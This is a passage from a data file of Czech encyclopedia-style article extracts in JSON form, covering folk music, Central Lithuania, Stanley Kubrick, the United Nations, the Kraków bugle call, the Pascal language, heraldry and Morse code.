osobní interpretace také označována jakožto moderní šanson. Folkové písně ale mohou mít i formu výrazně niterné osobní výpovědi o světě okolo nás či o stavu autorovy duše či mysli. V takovém případě se spíše podobají více než čemukoliv jinému zhudebněné poezii, často poezii všedního dne. Poezii, jež začasté zpívá o prostých věcech prostými slovy jednoduchým a obecně sdělným způsobem. Proto také někteří folkoví interpreti kromě své vlastní volné tvorby zhudebňují i kvalitní poezii cizí (např. báseň \"Máj\" od Karla Hynka Máchy zhudebněná skupinou Český skiffle nebo Radůzino CD \"V salonu barokních dam\", kde je zhudebněna část jedné básně od Jana Nerudy z \"Písní kosmických\", známé jsou i Skoumalovy půvabné adaptace nonsensových básní Emanuela Frynty na CD \"Kdyby prase mělo křídla\", velmi zdařilé jsou i Pavlicovy adaptace cizích poetických textů s původně folklórní skupinou \"Hradišťan\", apod.). A nemusí to nutně být vždy jen popěvky smutné, vážné, zachmuřené či niterně rozervané. Může se jednat i o laskavý humor, hezkou parodii, mírnou perzifláž, vkusnou legraci, prostě o vlídný a laskavý pohled na svět okolo nás, o všední zpívanou poezii podanou vtipně, vkusně a s velkým šarmem i osobním nadhledem autora samého (viz parodická hudební skupina Lokálka či recesistická skupina Barel Rock). Folk mívá velmi často formu velmi upřímné a přímočaré osobní výpovědi či zpovědi, která je ventilována lidovou uměleckou formou, zde obvykle formou písně, písně, která může vyjadřovat jak obyčejnou radost ze života, tak i vážnou starost o stav tohoto světa. V tomto je folk také velice blízký zejména kvalitnímu šansonu a dále také části tzv. art-rocku, což jsou hudební směry, které také hodně staví na kvalitě zpívaného textu." ] }

{ "title": [ "Situace před vznikem Střední Litvy.", "„Vzpoura\" generála Želigovského.", "Vyhlášení nového státu.", "Vyjednávání mezi Litvou a Polskem.", "Volby do parlamentu Střední Litvy.", "Následné události." ], "section_level": [ "1", "1", "1", "1", "1", "1" ], "content": [ "Během I. světové války byla Vilenská oblast okupována Německem (1915 – 1918). 1. ledna 1919 byl Vilnius obsazen polskými jednotkami, které vytvořili místní obyvatelé. Bolševická vojska postupující od východu ho později obsadila a vyhlásila zde krátce existující Sovětskou socialistickou republiku Litvy a Běloruska, ale 19. dubna 1919 ho Poláci dobyli zpět. 14. července 1920 město opět obsazují Rusové. Po porážce ruských vojsk u Varšavy Sověti předávají Vilnius nově vzniklé Litvě. Koncem srpna 1920 došlo k potyčkám mezi litevskými a polskými vojsky o oblast kolem města Suwałki. 7. října 1920 bylo podepsáno příměří, ovšem obě strany si dále činily nárok na Vilnius a jeho okolí. Litva vyhlásila Vilnius, obývaný z velké části polsky hovořícími obyvateli, za své hlavní město.", "Velitel polské armády Józef Piłsudski v té době nařídil svému podřízenému, generálu Lucianovi Želigovskému, aby předstíral vzpouru a obsadil Vilnius, aniž by Polsko formálně obnovilo válku s Litvou. Generál Želigovski se svou \"1. litevsko-běloruskou divizí\" obsadil Vilnius 9. října 1920, aniž by narazil na vážnější odpor.", "Generál Želigovski deklaroval vytvoření nového státu s názvem Republika Střední Litva (polsky \"Republika Litwy Środkowej\"). Sám se v něm prohlásil velitelem všech ozbrojených sil a 12. října 1920 oznámil vytvoření prozatímní vlády. Dekretem Želigovského ze 7. ledna 1921 byly vytvořeny soudy a policie. Nárok na občanství nového státu měly všechny osoby žijící na jeho území k 1. lednu 1919 nebo nejméně pět let před 1. srpnem 1914. Symboly nového státu byla rudá vlajka s polským bílým orlem a litevským rytířem na koni v brnění a znak obsahují směs polských, litevských a vilniuských symbolů, připomínající znak polsko-litevské unie. Na 9. ledna 1921 byly naplánovány volby a do 28. listopadu 1920 měl být vydán volební zákon, ale kvůli vyjednávání mezi Litvou a Polskem na půdě Společnosti národů byly volby odročeny.", "Polsko a Litva začaly o řešení sporu o území Střední Litvy jednat v Bruselu na jaře 1921 – podle některých pramenů 3. března, podle jiných 20. dubna. Jednání byla poznamenána spory o zastoupení delegace Střední Litvy. Litevci její účast na rozhovorech odmítli. Poláci se pokusili do své delegace začlenit dva vyslance generála Želigovského jako znalce místních poměrů, ale Litevci pohrozili odchodem z rozhovorů. Litevci zase požadovali stažení polských vojsk za linii ze 7. října 1920 a zejména jejich stažení z Vilniusu, což odmítla polská strana. Litevská strana navrhla jako řešení sporu vznik konfederace Západní Litvy s oficiálním jazykem litevštinou a Střední Litvy s oficiálním jazykem polštinou. Polsko s tím bylo ochotno souhlasit pod podmínkou, že nový stát bude součástí polsko-litevské federace. To Litva odmítla, protože mnozí Litevci se obávali možného popolštění a zničení litevské kultury v těsném svazku s mnohem větším a lidnatějším Polskem. Belgický vyjednavač Paul Hyman navrhl řešení spočívající ve vytvoření federativní Litvy sestávající ze dvou kantonů – západního litevského (kaunaského) a východního (vilniuského) mnohonárodního, obývaného Poláky, Bělorusy, Židy a Litevci. Oba kantony měly mít samostatné vlády, parlamenty a oficiální jazyky, ale společné hlavní město Vilnius. Tato federativní Litva a Polsko měly vytvořit mezistátní komise o zahraniční politice, obchodu, průmyslu a místní politice a uzavřít obrannou alianci. Polsko mělo mít právo využívat litevské přístavy.", "Po selhání bruselských rozovorů začalo ve Vilenské oblasti růst napětí, které ještě umocňovala početná armáda Střední Litvy (čítala na 27 000 vojáků). Generál Żeligowski se rozhodl co nejrychleji předat moc civilním úřadům a potvrdil datum konání voleb na 8. ledna 1922. Samotné volby byly poznamenány silně propolskou propagandou a uzavíráním svobodných litevských novin. Litevci se rozhodli volby zcela bojkotovat a k bojkotu se přidali i místní Židé a část Bělorusů. Samotná Litva předem oznámila, že výsledky voleb neuzná. Ve volbách drtivě zvítězily polské strany a Poláci ovládli středolitevský parlament tzv. \"Sejm\". Dne 20. února 1922 schválil středolitevský Sejm oficiální žádost o začlenění Střední Litvy do polského státu. Žádost byla schválena polským Sejmem 22. března 1922, a tak byla Střední Litva transformována do Vilenského vojvodství. Litva odmítla uznat polskou nadvládu a stále oficiálně považovala Vilensko za své území. Dokonce podle litevské ústavy byl Vilnius považován za hlavní město, zatímco Kaunas zastával pouze pozici dočasného sídla vlády. Spor o Vilensko tak negativně poznamenal polsko-litevské vztahy v meziválečném období.", "Vilensko zůstalo součástí Polska do začátku druhé světové války. Na základě Paktu Ribbentrop-Molotov a porážce Polska (více viz Invaze do Polska) byl Vilnius s okolím předán Sověty Litvě 10. října 1939. Zbytek území připadl Běloruské SSR. V roce 1940 se ale samotná Litva stala součástí SSSR a byla reorganizována na Litevskou SSR. Po obnovení litevské nezávislosti v roce 1991 byl Vilnius mezinárodně uznán jako hlavní město Litvy." ] }

{ "title": [ "Život.", "Ocenění." ], "section_level": [ "1", "1" ], "content": [ "Narodil se v rodině lékaře Jacka Kubricka. I přes špatné školní výsledky byl považován za velice inteligentního. Proto ho otec naučil hrát šachy. Z Kubricka se stal vynikající hráč. A jeho filmy skutečně připomínají partii šachů. Vše je důkladně a pečlivě promyšleno dopředu. Kubrick dostal ke třináctým narozeninám fotoaparát. Měl výjimečné nadání a v sedmnácti ho dokonce přijali do časopisu \"Look\" jako učedníka. V roce 1951 vyměnil fotoaparát za filmovou kameru a natočil krátké dokumentární snímky o životě boxerů (\"Day of the Fight\"), o knězi, který musí na nejvzdálenější farnosti létat letadlem (\"Flying Padre\"), a o námořnických odborech (\"The Seafarers\"). Jeho prvním celovečerním dílem byl \"Fear and Desire\" o fiktivní válce ve fiktivním světě. Stanley Kubrick je znám svým puntičkářstvím a kritičností. Několik jeho filmů bylo cenzurováno, případně zakázáno. Snímek \"Stezky slávy\" o popravě tří francouzských vojáků v období \"1. světové války\" byl ve Francii dlouhá léta zakázán. \"Lolita\" podle stejnojmenného románu \"Vladimira Nabokova\" o lásce profesora ke čtrnáctileté nymfičce musela být upravována samotným Kubrickem, který jakýkoliv nedobrovolný zásah do svého díla odmítal. U filmu \"Mechanický pomeranč\" britské úřady tvrdily, že film rozpoutal vlnu zločinů páchaných mladistvými. Kubrickově rodině bylo vyhrožováno smrtí. Tvůrce se rozhodl, že film se až do jeho smrti nesmí v Británii promítat v kinech a v televizi. Kubrickovým posledním filmem se stal psychologický snímek \"Eyes Wide Shut\". Stanley Kubrick zemřel ve spánku na infarkt.", "Kubrick získal za celou svou kariéru jednoho Oscara, a to za vizuální efekty k \"\". Nominován byl však dvanáctkrát. Ve filmu Vesmírná odysea zdokonalil metodu přední projekce." ] }

{ "title": [ "Obecné informace.", "Rada bezpečnosti.", "Ekonomická a sociální rada.", "Poručenská rada.", "Mezinárodní soudní dvůr.", "OSN a udržitelný rozvoj.", "Rozvojové cíle tisíciletí.", "Odborné organizace OSN.", "Zajímavosti.", "Kritika." ], "section_level": [ "1", "1", "1", "1", "1", "1", "1", "1", "1", "1" ], "content": [ "OSN byla založena 24. října 1945 v San Franciscu (USA) na základě přijetí Charty OSN 51 státy včetně tehdejší ČSR a významné podpory Rockefellerova fondu. Nahradila Společnost národů, která jako garant kolektivní bezpečnosti a mírového řešení konfliktů neobstála. První Valné shromáždění OSN se konalo 10. ledna 1946 v Londýně. Cílem OSN je zachování mezinárodního míru, bezpečnosti a zajištění mezinárodní spolupráce. Členství v OSN je založeno na principu suverénní rovnosti, státy mají svá zastoupení, tzv. stálé mise, zejména v hlavním sídle OSN New Yorku, ale také např. v Ženevě nebo ve Vídni. Každý členský stát má své zástupce ve Valném shromáždění a disponuje jedním stejně platným hlasem. Výkonným orgánem je Rada bezpečnosti OSN, jíž přísluší základní odpovědnost za udržení mezinárodního míru a bezpečnosti a jejíž rezoluce jsou právně závazné. Dalšími hlavními orgány OSN jsou V roce 2001 OSN dostala Nobelovu cenu míru. Již dříve stejnou cenu dostaly Úřad Vysokého komisaře OSN pro uprchlíky (1954 a 1981), Dětský fond OSN (1965) a Mírové síly OSN (1988).", "Rada bezpečnosti (RB) má 15 členů. Charta OSN určuje 5 z nich jako stálé, Valné shromáždění volí 10 dalších států za členy nestálé na dvouleté období. Stálými členy Rady bezpečnosti s právem veta proti navrženým rezolucím jsou: Čína, Francie, Rusko, Spojené státy americké a Spojené království. 10 nestálých členů (v závorce rok ukončení mandátu): Belgie (2020), Dominikánská republika (2020), Estonsko (2021), Indonésie (2020), Jihoafrická republika (2020), Německo (2020), Niger (2021), Svatý Vincenc a Grenadiny (2021), Tunisko (2021) a Vietnam (2021). Česká republika byla v období po rozpadu Československa členem Rady bezpečnosti OSN poprvé a zatím naposledy v letech 1994–1995. V roce 2003 hostila 57. zasedání Valného shromáždění, které vedl tehdejší předseda Valného shromáždění Jan Kavan. Významné bylo také české předsednictví Ekonomické a sociální rady OSN v roce 1997.", "Ekonomická a sociální rada (ECOSOC) má 54 členů, volených na tříleté období Valným shromážděním. Funkční období členského státu končí 31. prosince posledního roku.", "Poručenská rada má 5 členů: Čína, Francie, Rusko, Spojené království a USA. Rada formálně ukončila činnost 1. listopadu 1994, kdy se nezávislým státem a členem OSN stalo Palau, poslední území pod správou OSN. Rezolucí, která byla ten den přijata, pozměnila Rada svůj jednací řád v tom smyslu, že se nebude scházet každoročně, ale jen podle potřeby, když si to situace vyžádá. O svolání může rozhodnout její předseda nebo pokud si to vyžádá většina členů Poručenské rady, Valného shromáždění nebo Rady bezpečnosti.", "Mezinárodní soudní dvůr má sídlo v Haagu. Má 15 členů volených Valným shromážděním a Radou bezpečnosti. Soudci jsou voleni na devítileté období. Při volbě musí být zohledněna zásada, že mají být zastoupeny všechny regiony světa a také jednotlivé právní kultury. Soud se řídí statutem, který byl přijat spolu s Chartou OSN. Rozhodnutí Mezinárodního soudního dvora jsou závazná a definitivní. Může projednávat spory, které mu předloží sporové strany, nebo spory stran, které v minulosti přiznaly jeho generální příslušnost.", "OSN je důležitým činitelem v oblasti udržitelného rozvoje.", "Cíle OSN do roku 2019:", "OSN má řadu odborných organizací, mj.:", "Švýcarská poštovní správa pro potřeby Evropského úřadu OSN v Ženevě opatřila část emisí švýcarských poštovních známek od roku 1950 přetiskem NATIONS UNIES OFFICE EUROPÉEN. O pět let později pak vydala speciální emise (tedy nikoli přetisk) s označením NATIONS UNIÉS a HELVETIA, v švýcarské měně. O další 4 roky později, roku 1959 byly vydávány první emise známek OSN, i nadále se švýcarskou měnou. Model OSN pro středoškolské a vysokoškolské studenty je největším vzdělávacím projektem Asociace pro mezinárodní otázky (v rámci Pražského studentského summitu), který se koná každoročně od září do března na Vysoké škole ekonomické. Podobné modely jsou vytvářeny i na regionální úrovni, např. Debatní liga Hodonín, Plzeňská diplomatická simulace. Od léta roku 2015 předsedá Radě OSN pro lidská práva blízkovýchodní monarchie Saúdská Arábie, která je kritizována za hrubé porušování lidských práv. Spojené státy 19. června 2018 oficiálně oznámily, že odcházejí z Rady OSN pro lidská práva. Podle americké velvyslankyně při OSN Nikki Haleyové si orgán z lidských práv pouze střílí a jedná jen ve vlastním zájmu.", "Rada bezpečnosti OSN je kritizována za exkluzivní klub stálých členů a právo veta. Charta Spojených národů dává Radě legislativní, výkonnou i soudní pravomoc. Přesto není OSN s to zabránit konfliktům. Dále to jsou skandály kolem programu Potraviny za ropu, dětské prostituce a pornografie či sexuálního obtěžování. Podle některých jsou organizace OSN, jako například Mezivládní panel pro změny klimatu (IPCC), údajně zpolitizované. Prezident Spojených států amerických Donald Trump kritizoval OSN za podporu a šíření umělých potratů. OSN nabídla Ekvádoru, který je roku 2020 silně zasažený nemocí, pomoc proti pandemii covidu-19 pod podmínkou, že povolí umělé potraty na požádání matky, což je proti ústavě Ekvádoru." ] }

{ "title": [ "Přesný čas.", "Pověst." ], "section_level": [ "1", "1" ], "content": [ "Hejnal, který byl hrán v poledne od 13. února 1838, oznamoval přesně dvanáctou hodinu. Tím byl Krakov prvním polským městem, kde byl uváděn přesný čas. Této skutečnosti město vděčí prof. Maksymilianovi Weissovi, řediteli Hvězdárny Jagellonské univerzity v Krakově (Obserwatorium Astronomiczne Uniwersytetu Jagiellońskiego). Čas z krakovské hvězdárny byl předáván pomocí rádia do celého Polska. Poslední časový signál z Krakova byl vysílán 1. dubna 1984. Protože vysílání bylo nákladné, byl signál dále vysílán z Varšavy. Ale stále je přímým přenosem přenášena melodie hejnalu z mariánské věže.", "Samotná tradice mariánského hejnalu je stará asi 700 let a existuje o tom též legenda. Mariánský kostel má dvě věže, z té vyšší (přezývané \"hejnalica\"), která je zároveň nejvyšší věž v Krakově, před dávnými věky městská stráž dávala ráno trubkou znamení k otevření a večer k uzavření městských bran. Také troubila na poplach, když vypukl požár nebo se blížil nepřítel. Když jednou Tataři, kteří často napadali polské vesnice a městečka, dorazili až ke Krakovu, stráž začala hrát hejnal. Město stihlo zavřít městské brány, ale tatarský šíp prostřelil krk hejnalisty, než dokončil melodii. Na paměť této události se vždy melodie přerušuje. Ne náhodou se hejnal hraje na všechny světové strany. Nejprve směrem k hradu Wawel, pro krále (jih). Potom k magistrátu pro starostu (západ). Třetí troubení je pro hosty směrem k Barbakanu (sever). Poslední pak byl dříve pro kupce, nyní pro velitele stráže, na Malý rynek. Melodie hejnalu doprovázela Poláky v důležitých historických událostech: například za svítání 18. května 1944 byl zahrán v italském klášteře Monte Cassino, který dobyli právě Poláci. Pouze dvakrát v celé historii zazněla z věže jiná melodie, poprvé v poledne 3. dubna 2005, kdy strážní zahráli smuteční píseň \"Matčiny slzy\" na paměť zemřelého papeže Jana Pavla II. Podruhé ji hráli v poledne v den pohřbu téhož papeže." ] }

{ "title": [ "Historie.", "Jazykové konstrukce.", "Hello world.", "Datové typy.", "Deklarace typu.", "Výčet.", "Intervalové typy.", "Množinové typy.", "Záznamy.", "Pole.", "Ukazatele.", "Typ soubor.", "Řídicí struktury.", "Cykly.", "Procedury a funkce.", "Operátory.", "Nedostatky standardního Pascalu.", "Externí odkazy." ], "section_level": [ "1", "1", "2", "2", "3", "3", "3", "3", "3", "3", "3", "3", "2", "3", "2", "2", "1", "1" ], "content": [ "První kompilátor Pascalu byl navržen v Curychu pro počítače řady CDC 6000 a do provozu byl uveden v roce 1970. První kompilátor Pascalu napsaný v Severní Americe vznikl na Illinoiské univerzitě pod vedením Donalda B. Gilliese pro počítač PDP-11 a generoval nativní strojový kód. Za účelem rychlého rozšíření jazyka vznikl v Curychu tzv. \"compiler porting kit\", zahrnující kompilátor do „virtuálního“ strojového kódu (nebo přesněji mezikódu) a simulátor toho kódu. Z této sady vznikl P-systém. Ačkoli byl tento systém navržen, aby umožnil vznik kompilátorů do pravých strojových kódů, minimálně jeden systém, pozoruhodná implementace USCD, jej využila k vytvoření interpretačního systému USCD p-System. IP Pascal byl implementací používající Micropolis DOS, rychle se však přesunul na CP/M běžící na Z80. Začátkem 80. let byl UCSD Pascal portován pro počítače Apple II a Apple III, aby tak poskytl strukturovanou alternativu k interpretům BASICu, dodávaným spolu s počítačem. V 80. letech také napsal Anders Hejlsberg kompilátor Blue Label Pascal pro počítač Nascom-2. Později začal pracovat pro Borland a svůj kompilátor přepsal na Turbo Pascal pro CP/M a IBM PC. Nový kompilátor prodával za 49,95 USD, což byla mnohem nižší cena než za jakou prodával původní Blue Label Pascal. Laciný kompilátor společnosti Borland měl velký vliv na komunitu okolo Pascalu, která se koncem 80. let zaměřila především na IBM PC. Mnoho počítačových nadšenců ve svém hledání strukturované alternativy k BASICu tento produkt používalo. Turbo Pascal, dostupný pouze na této architektuře, překládal přímo do strojového kódu Intel 8088, čímž docílil mnohem větší rychlosti než interpretované návrhy. S verzí Turbo Pascal 5.5 přidal Borland podporu pro objektově orientované programování. Později se Borland rozhodl, že je potřeba komplikovanějších vlastností a začal pracovat na Delphi, přičemž vycházel z návrhu jazyka Object Pascal společnosti Apple. V raných verzích nazýval tento jazyk rovněž Object Pascal, později jméno změnil na programovací jazyk Delphi.", "Pascal je ve své původní formě čistým procedurálním jazykem, obsahující skupinu řídicích konstrukcí jako je \"for\", \"while\", \"if\", \"then\", \"else\", převzaté z ALGOLu. Obsahuje však také mnoho konstrukcí pro strukturování dat, jako jsou \"definice datových typů\", \"záznamy (také struktury, codice_1)\", \"ukazatele (codice_2)\", \"výčtové typy\" a \"množiny\" (codice_3). Programy v Pascalu začínají klíčovým slovem program, v původních variantách se seznamem standardních vstupů a výstupů ve formě parametrů. Následují deklarace návěští, konstant, typů a proměnných a pak hlavní blok příkazů, uvozený klíčovými slovy begin a end. Jednotlivé příkazy jsou odděleny středníkem, tečka ukončuje program. Jazyk nerozlišuje velká a malá písmena.", "Standardní program Hello world vypadá v jazyce Pascal takto: program HelloWorld(output); begin end.", "Datový typ definuje strukturu proměnné a způsob nakládání s ní. Jazyk obsahuje několik předdefinovaných typů, přičemž programátor může odvozením tvořit typy další. Mezi předdefinované typy patří: Rozsah povolených hodnot, které je možno uložit do proměnných těchto typů, je dán implementací. Mezi některými typy existují konverzní funkce, například codice_4 (zaokrouhlení codice_5 na codice_6).", "Programátor může vytvořit vlastní datový typ odvozením ze základních typů pomocí konstrukce type: type", "Datový typ výčet umožňuje vytvořit proměnnou, která může nabývat určitý počet pojmenovaných číselných hodnot (hodnot označených identifikátory). type var Hodnoty výčtových typů nelze v Pascalu přímo vypisovat ani načítat. Pro výpis by bylo možné použít pole obsahující jména ovoce v textovém tvaru: var I typ boolean je v podstatě výčtem: type boolean = (false, true);", "Z libovolného ordinálního typu (všechny dříve jmenované kromě codice_5) můžeme pomocí intervalu vybrat část, která se pak použije jako nový typ: type", "Zatímco většina programovacích jazyků používá pro reprezentaci složených bitových typů bitové řetězce, Pascal používá množinovou abstrakci. Množina je vždy určena na ordinálním typu: type Ke konstruování množin se používají složené závorky: K zjištění přítomnosti prvku k množině slouží operátor in:", "Záznam je složený datový typ, sestávající z pojmenovaných položek obecně různých typů; odpovídá typu struktura v jiných programovacích jazycích : type", "Pole je lineární sekvence prvků, definovaná klíčovým slovem array. Ve standardním Pascalu mají pole pevnou délku, určenou při deklaraci. Indexování pole je určeno taktéž při deklaraci. Příklad definice typu pole: type", "Ukazatel je zvláštní typ proměnné, ukazující na skutečnou hodnotu v paměti. Ukazatele lze tvořit z téměř každého typu pomocí konstrukce ^Typ. Ve standardním Pascalu nelze nijak získat adresu proměnné, inicializovat ukazatel je možné (kromě zkopírování hodnoty jiného ukazatele) pouze vyvoláním funkce New pro alokaci paměti. Dereference ukazatele se provádí operátorem ^ za názvem ukazatele: var begin Ukazatele se často používají ve spojitosti se strukturami, například při vytváření spojových seznamů. Pro vytvoření nové proměnné na haldě slouží procedura codice_8, pro její uvolnění procedura codice_9. Nulová hodnota ukazatele je určena konstantou nil. type var", "Soubor je ve standardním Pascalu chápán jako sekvence identických komponent (file of typ komponenty). Pro každý soubor existuje přístupová proměnná, která má stejné jméno jako identifikátor souboru a je typu \"ukazatel na typ komponenty\". Vstupní soubor se otevírá funkcí Reset, po jejímž vyvolání ukazuje přístupová proměnná na první komponentu souboru (pokud není soubor prázdný). Pomocí funkce Get lze zpřístupnit další komponentu. Pokud funkce eof vrací hodnotu true, nesmí se s hodnotou referencovanou přístupovou proměnnou pracovat. Pro výstup do souboru slouží funkce Rewrite pro otevření souboru a Put pro zapsání komponenty referencované přístupovou proměnnou do souboru: program copy_non_neg(input, output); var begin end. Kromě tohoto poněkud krkolomného přístupu lze používat i funkce Read a Write, které umožňují se obejít bez přístupové proměnné: Read(soubor, promenna) funguje jako promenna := soubor^; Get(soubor) a Write(soubor, promenna) funguje jako soubor^ := promenna; Put(soubor). Výše uvedený program pak lze zapsat takto: program copy_non_neg(input, output); var begin end. Mnoho implementací ani funkce Get a Put a přístupovou proměnnou k souboru vůbec nepoužívá.Standardní Pascal nemá možnost aktualizace souboru, posunu ukazovátka po souboru, ani funkci pro zavření souboru). Pro práci s textovými soubory existuje zvláštní typ text, který se chová podobně jako typ file of char, ale navíc umožňuje pracovat s členěním souboru na řádky pomocí funkcí Readln, Writeln a Eoln.", "Pascal je strukturovaný jazyk, to znamená, že běh programu je strukturován ve standardních konstrukcích, a to ideálně bez použití příkazu goto: Základní řídicí strukturou je struktura if..then..else, která řídí průběh programu v závislosti na určené podmínce: if a > b then else Před else nesmí být nikdy středník. Pokud je v then části další podmíněný příkaz, else patří k poslednímu if, pokud patří k jinému if, je nutné vnořený podmíněný příkaz uzavřít mezi begin a end.", "Cykly slouží pro opakované provádění příkazu nebo bloku příkazů: while a < 10 do begin for i := 1 to 10 do repeat until a = 10; case i of end;", "Pascal umožňuje členit programy na procedury a funkce, které lze navíc libovolně vnořovat. Konstrukce program je vždy nejvnějšnější blok. Funkce se od procedury liší tím, že umožňuje vrátit volajícímu příkazu \"návratovou hodnotu\" příslušného typu. Nastavení návratové hodnoty se provádí přiřazením do názvu funkce. Pokud se název funkce vyskytne na pravé straně přiřazovacího příkazu, považuje se za volání funkce (rekurze). program muj(output); procedure vypis(var i: integer); begin end; begin end.", "Pascal podporuje tyto operátory:", "Určení jazyka Pascal jako nástroje na výuku programování a vlastnosti tehdejších operačních systémů vedly k tomu, že některé vlastnosti ve standardním Pascalu zcela chybí, a že definice jazyka zbytečně lpí na dodržování některých pravidel, což používání jazyka v mnoha ohledech komplikuje: Většina implementací jazyka obsahuje rozšíření a drobné úpravy oproti standardu, které použitelnost jazyka podstatně zvyšují; nejvýznamnějším rozšířením je Turbo Pascal, který se stal vzorem pro pozdější implementace, jak mají tato rozšíření vypadat.", "překladače:" ] }

{ "title": [ "Vznik heraldiky.", "Erb.", "Erbovní listy." ], "section_level": [ "1", "1", "1" ], "content": [ "Heraldika ve smyslu vytváření a užívání erbů vznikla v první polovině 12. století, kdy se v letech 1135 až 1155 objevují první znaky ve většině evropských zemí (Anglie, Francie, Itálie, Německo, Španělsko). V Čechách se za první erb považuje plamenná orlice dochovaná na pečeti Přemysla Otakara I. z roku 1192. Různé znaky a znamení si samozřejmě malovali válečníci na své štíty již dávno před tím (Číňané, Egypťané, Peršané). Nejednalo se však o erby ve smyslu heraldickém, neboť je dokázáno, že jejich funkce byla pouze dekorativní. V tomto období (tzv. předheraldické) není ještě erb (resp. štít) spojován s konkrétní osobou a není dědičný v rámci rodu, na čemž je heraldika postavena. Jedinou výjimkou v tomto je systém štítových znamení, která užívaly velké athénské rodiny v 6.–5. století před naším letopočtem. I ta byla, stejně jako středověké erby, užívána dědičně.", "Erb je ve smyslu heraldiky znamení umístěné na štítě. Rytíř jedoucí do boje byl obklopen pěší čeledí. Aby jej družina rozeznala, označil se rytíř výrazným barevným znamením na štítě. Dalším rozlišovacím znamením byl klenot, upevněný na rytířově helmici (přilbě).", "Listina vydávaná nejčastěji panovníkem, případně palatinem či heroldií, povyšující příjemce do šlechtického stavu a udělující erb, případně erb polepšující nebo potvrzující. Nejstarší český erbovní list se zachoval v opisu. Císař Karel IV. povýšil do panského stavu Království českého 16. dubna 1360 Jetřicha z Portic a udělil mu erb, s nímž mohl disponovat po vymření pánů z Leuchtenberka. Nejstarší městskou erbovní listinu v Česku vydal v roce 1416 král Václav IV. pro Slavkov u Brna. Poslední erbovní listiny byly vydány v říjnu 1918 císařem Karlem I." ] }

{ "title": [ "Užití Morseovy abecedy.", "Kód Morseovy abecedy.", "Číslice.", "Ostatní znaky.", "Vykřičník.", "Zavináč.", "Příklady.", "Pomůcka pro čtení Morseovy abecedy.", "Příklad čtení.", "Tempo \"PARIS\".", "Morseova signální lampa." ], "section_level": [ "1", "1", "2", "2", "3", "3", "2", "1", "2", "1", "1" ], "content": [ "Celá historie vzniku telegrafní abecedy je popsána například v knize Williama G. Pierponta \"The Art and Skill of Radio Telegraphy\". Kódování abecedy podobné tomu dnešnímu vymyslel, asistent amerického vynálezce, malíře a sochaře Samuela Morse. Ten také uskutečnil v roce 1844 první telegrafické spojení mezi Washingtonem a Baltimorem. Původní Morseova abeceda obsahovala pouze číslice vyjádřené sekvencí teček, písmena a slova byla v tomto systému kódována jako kombinace číslic. Vail tento nepraktický systém nahradil vlastním, který se později nazýval American Code. Později vznikla verze používaná v Evropě (viz Mezinárodní telekomunikační unie) až nakonec byly oba kódy sjednoceny a v roce 1918 byla přijata mezinárodní verze \"Morseovy\" abecedy (tzv. International Code). Při volbě kódování byly znaky voleny tak, aby nejfrekventovanějším písmenům (v angličtině) odpovídaly nejkratší sekvence teček a čárek. Proto má také nejfrekventovanější písmeno „E“ znak „•“ (tečka), tedy jeden jediný krátký signál. (Na podobné optimalizaci, kdy nejčastěji používaným znakům je přiřazen nejkratší kód, je založeno také Huffmanovo kódování užívané při bezeztrátové komprimaci dat.) Morseovka se používala na celém světě k vysílání a příjmu zpráv telegrafem (elektrický signál po drátech), nebo radiotelegrafem (přenos radiovými vlnami). Přenášená zpráva se nazývá telegram. V pozdější době byly tyto způsoby komunikace nahrazeny telefonií, dálnopisem a v současné době také internetovými službami. Morseovka je však stále používána pro svou technickou nenáročnost a snadné použití, a to hlavně radioamatéry nebo skauty. Do roku 1996 ji ještě používaly jako prostředek tísňového volání všechny lodě o výtlaku větším než 300 tun. Od začátku 21. století byla telegrafie postupně vytlačena digitálními a satelitními systémy, například globálním námořním a tísňovým systémem GMDSS. Pro nouzové volání na moři se používal známý signál SOS. Jedná se o nepřerušenou sekvenci tří teček, tří čárek a tří teček. Tento signál byl vybrán kvůli své výraznosti. Obecně tradované tvrzení, že má znamenat „save our souls“, česky „spaste naše duše“, rusky „Spaste Od Smerti“ je pozdější výmysl, sousloví bylo používáno jen jako mnemotechnická pomůcka. SOS znělo i z paluby potápějícího se Titanicu, byť pouze jedenkrát. Ve všech ostatních voláních použil Titanic starší a tehdy ještě rozšířenější nouzový signál CQD (seek you, distress). Pro nouzové volání na souši se používá signál QRRR. Morseovka se v současnosti používá mj. pro dorozumívání s paralyzovanými osobami, kteří nejsou schopni jiných druhů komunikace. Existují také snahy o použití Morseovky v mobilních telefonech. Při jejím dobrém ovládání je kódování textových zpráv rychlejší, než pomocí „klávesnice“ na mobilu. Stačí jen 2 tlačítka nebo jen 1 tlačítko s krátkým a dlouhým stiskem. Příjemci je zpráva ovšem zobrazována v latince. V dobách před nástupem chytrých telefonů (konec 90. let, začátek 21. století) byla rychlost telegrafie v porovnání s moderními technologiemi mobilních telefonů několikrát demonstrována v televizních show. Telegrafista přijal zprávu odvysílanou v morseovce mnohem dříve, než dokázal tutéž zprávu ve formě SMS naťukat a odeslat uživatel běžného telefonu. Analogicky můžou být příchozí textové zprávy převedeny do Morseovky a zobrazeny pomocí vibrací, což by umožnilo „hands-free čtení“ textových zpráv. Morseovka se hojně používá v šifrovacích hrách, protože je hodně známá a dá se pěkně kódovat mnoha různými způsoby (stačí rozlišit tři typy objektů: tečka, čárka, oddělovač).", "Pro výuku Morseovky se někdy jako mnemotechnická pomůcka používají pomocná slova, jejichž počáteční písmeno a délka slabik pomáhá zapamatovat si kód písmene. U některých písmen může být pomocných slov více (např. F – Filipíny/Fifipírko, I – ibis/Ivan, S - Sekera/Sobota...). Díky lidové tvořivosti existují i jiné skupiny pomocných slov, např. „alkoholická morseovka“ (A = absťák, B = blít až doma, C = cíl je výčep,..., ). Tato metoda je nevhodná až kontraproduktivní pro výuku vyšších rychlostí příjmu, které jsou používány v armádě nebo radioamatéry. Při takových rychlostech je nutné si automaticky pamatovat, jaké sekvenci tónů odpovídá jaké písmenko. Používání pomocných slov je v tomto případě spíše matoucí a obvykle se snáze naučí přijímat Morseovy značky sluchem ten, kdo pomocná slova nezná, než ten kdo se je někdy naučil. Jinou vhodnou pomůckou je barevná tabulka znaků. Používáním přejde pořadí znaků lépe do krve a později nezatěžuje neustálým opakováním pomocných slov.", "Zkrácené kódy číslic je možno užít tehdy, pokud je zřejmé, že vysíláme číslice a je důležitá co nejvyšší rychlost vysílání. V hojné míře se užívají při radioamatérských soutěžích. Zkrácené kódy se zásadně neužívají, pokud hrozí jejich nechtěná záměna s písmeny, například pokud jde o číslici uvnitř volacího znaku.", "Ostatní znaky patřící do mezinárodní morseovy abecedy.", "Vykřičník v mezinárodním Morseově kódu chybí, ale existují různé neoficiální varianty.", "Znak 